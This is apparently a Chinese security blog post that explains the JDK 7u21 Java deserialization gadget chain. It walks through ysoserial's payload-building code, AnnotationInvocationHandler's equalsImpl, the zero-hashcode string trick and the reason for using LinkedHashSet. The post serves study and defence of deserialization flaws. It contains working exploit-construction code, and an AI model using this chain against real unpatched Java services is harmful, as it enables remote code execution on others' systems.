zoukankan      html  css  js  c++  java
  • JDK原生反序列化利用链7u21

    前言

    JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单~

    7u21 要求你能理解:

    • TemplatesImpl 代码执行原理
    • 动态代理是什么
    • AnnotationInvocationHandler 利用原理

    其实7u21是对AnnotationInvocationHandler 的进一步挖掘。

    调用链

    • HashSet.readObject()
    • map.put(k,v)。(k为代理对象)
    • k.equals(last_k) (last_k 为上一个put的元素)
    • k.equalImpl(). (触发恶意invoker)
    • 反射执行 last_k.任意方法 (last_k 为恶意TemplatesImpl 即可代码执行)

    image-20210927111332379

    简单描述就是:

    LinkedHashSet 在反序列化初始化时会将对象重新一个一个put进内部数据结构table中,如果put的两个元素的key的hash一样,则要进行进一步的判断,要调用后放入元素的equal方法去对比前面元素的值,而如果这个后面元素的key恰好是一个经过AnnotationInvocationHandler包装的Templates动态代理对象,则在进行put时候会分别调用 AnnotationInvocationHandler 的hashImpl和equlImpl,恰好因为hashImpl 的计算会最终调用到equlImpl,通过equlImpl中的var5.invoke() ,反射执行Templates 的newTransformer方法,进而导致代码执行。

    我们来看下yso的代码:

    public Object getObject(final String command) throws Exception {
    		final Object templates = Gadgets.createTemplatesImpl(command);
    
    		String zeroHashCodeStr = "f5a5a608";
    
    		HashMap map = new HashMap();
    		map.put(zeroHashCodeStr, "foo");
    
    		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    		Reflections.setFieldValue(tempHandler, "type", Templates.class);
    		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
    
    		LinkedHashSet set = new LinkedHashSet(); // maintain order
    		set.add(templates);
    		set.add(proxy);
    
    		Reflections.setFieldValue(templates, "_auxClasses", null);
    		Reflections.setFieldValue(templates, "_class", null);
    
    		map.put(zeroHashCodeStr, templates); // swap in real object
    
    		return set;
    	}
    

    最终的目标是要调用EvilTemples的newTransformer方法,在AnnotationInvocationHandler 中有个equalsImpl 方法:

     private Boolean equalsImpl(Object var1) {
            if (var1 == this) {
                return true;
            } else if (!this.type.isInstance(var1)) {
                return false;
            } else {
                Method[] var2 = this.getMemberMethods();
                int var3 = var2.length;
    
                for(int var4 = 0; var4 < var3; ++var4) {
                    Method var5 = var2[var4];
                    String var6 = var5.getName();
                    Object var7 = this.memberValues.get(var6);
                    Object var8 = null;
                    AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                    if (var9 != null) {
                        var8 = var9.memberValues.get(var6);
                    } else {
                        try {
                            var8 = var5.invoke(var1);
                        } catch (InvocationTargetException var11) {
                            return false;
                        } catch (IllegalAccessException var12) {
                            throw new AssertionError(var12);
                        }
                    }
    
                    if (!memberValueEquals(var7, var8)) {
                        return false;
                    }
                }
    
                return true;
            }
        }
    

    抛开干扰代码存在一个反射执行的方法:

    Method[] var2 = this.getMemberMethods();
     for(int var4 = 0; var4 < var3; ++var4) {
         Method var5 = var2[var4];
         AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
         if (var9 != null)
         {
             ....
         }else{
              var8 = var5.invoke(var1);
         }
    

    其中getMemberMethods 来自type的所有方法:

    image-20210926203620761

    那意思就是equalsImpl能够触发一个传入对象x的恶意方法,有没有存在一个这样的对象呢,当然是有的,那就是 TemplatesImpl,TemplatesImpl.newTransformer()和getOutputProperties() 都可以触发恶意代码执行,其中asOneOfUs判断是不是动态代理的class,所以只要保证var1 不是动态代理就ok。

    所以我们就需要把type设置为TemplatesImpl,var1 也为TemplatesImpl对象即可,var1也即hashset的旧元素,为了能触发恶意invoker,所以hashset的第二个元素要为一个经过AnnotationInvocationHandler包装的对象。

    也就是:

    image-20210927185043978

    步骤很清晰,有了前面几篇文章的基础后没必要再分析TemplatesImpl和AnnotationInvocationHandler利用过程了,重点看下以下几个问题

    疑问

    image-20210927191515100

    1. 上图为Hashset put的源码,为了要执行euqals,就要保证map的两个key hash一致,且两个key不想等,key分别为templates和proxy,是两个不同的对象,两个hash是如何保持一致的?
    2. hash为0的字符串的作用是啥?
    3. 为什么要用LinkedHashSet,直接用HashSet行不行?

    1. 两个不相等的对象如何保证hashset.hash()后结果一致?

    在7u21的反序列化执行载体hashset中,添加了两个元素,一前一后分别是templates和proxy,虽然proxy对象是经过AnnotationInvocationHandler包装的Templates 代理对象,但这两个对象是不相等的,为了能执行后续步骤,让流程执行到for循环下的if预计又必须保证两个对象的hashcode一致才能进一步执行到euqals方法。

    image-20210927192352475

    如果只是普通的两个Temples对象那必然是不相等的,但第二个元素proxy经过AnnotationInvocationHandler包装的Templates对象,当proxy执行hashcode时,会直接执行handler.invoker函数:

    image-20210927192702088

    同时,判断执行方法为hashcode则会跳转到hashCodeImpl方法:

    image-20210927192916023

    跳转到hashCodeImpl 时我们发现,关于proxy的hashcode计算已经和proxy本身没有关系了,私有变量memberValues是一个map对象,图片中的1会进行迭代,取出其中元素key和value 分别调用hashcode()进行异或运算然后乘以127 得到最后prxoy的hashcode值。

    所以为了让prxoy和templates 的hashcode一致,我们只要 构造一个map,使其满足:

    127 * key.hashcode ^ value.hashcode === templates.hashcode
    

    这里顺便解释了:

    hash为0的字符串的作用是啥?

    那我们可以找到,因为对象的hashcode都是取的内存地址做一定的取整运算得到,所以如果硬凑两个不相等对象做异或会很复杂,结果必然不固定,所以我们直接令 key.hashcode=0 127*key.hashcode 也就为0,让value 直接等于templates 即可让 proxy的hashcode等于templates,而f5a5a608 的hashcode就为0,所以这个map为:

    map.put("f5a5a608",templates)
    

    这样就满足了对象不相等,但hashcode却是一样的结果,也就能进行到euqals方法触发temples.newTransformer() 方法。

    为什么要用LinkedHashSet,直接用HashSet行不行?

    LinkedHashSet内部的数据结构是基于hashmap,所以理论上HashSet、LinkedHashMap、hashmap都可以,但因为类似我上面讲的欢迎,对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。

    我自己也做过实验,使用hashmap作为载体会存在偶然无法代码执行的情况,所以为了保证稳定性可以使用带顺序的LinkedHashSet、或者LinkedHashmap,LinkedHashmap value设置为相同的内置基本类型即可。

    image-20210927202217545

    结语

    由名字可知,jdk7u21 只能用于7u21以下的版本,因为在高版本中,在handler euqalmpl 中增加了对 传入对象可执行方法对判断,不能像过去一样执行任意方法:

    image-20210927204320413

    公众号

    欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

  • 相关阅读:
    用mkdirs创建目录
    关于布局(Layout)的一切
    用HTTP操作和文件操作把网页下载到sd卡
    OpenStack计费项目Cloudkitty系列详解(一)
    OpenStack/Gnocchi简介——时间序列数据聚合操作提前计算并存储起来,先算后取的理念
    python-RabbitMQ
    1go基本语法
    openstack多region配置
    cinder 挂载卷和 iSCSI原理
    Host aggregate分区
  • 原文地址:https://www.cnblogs.com/9eek/p/15345211.html
Copyright © 2011-2022 走看看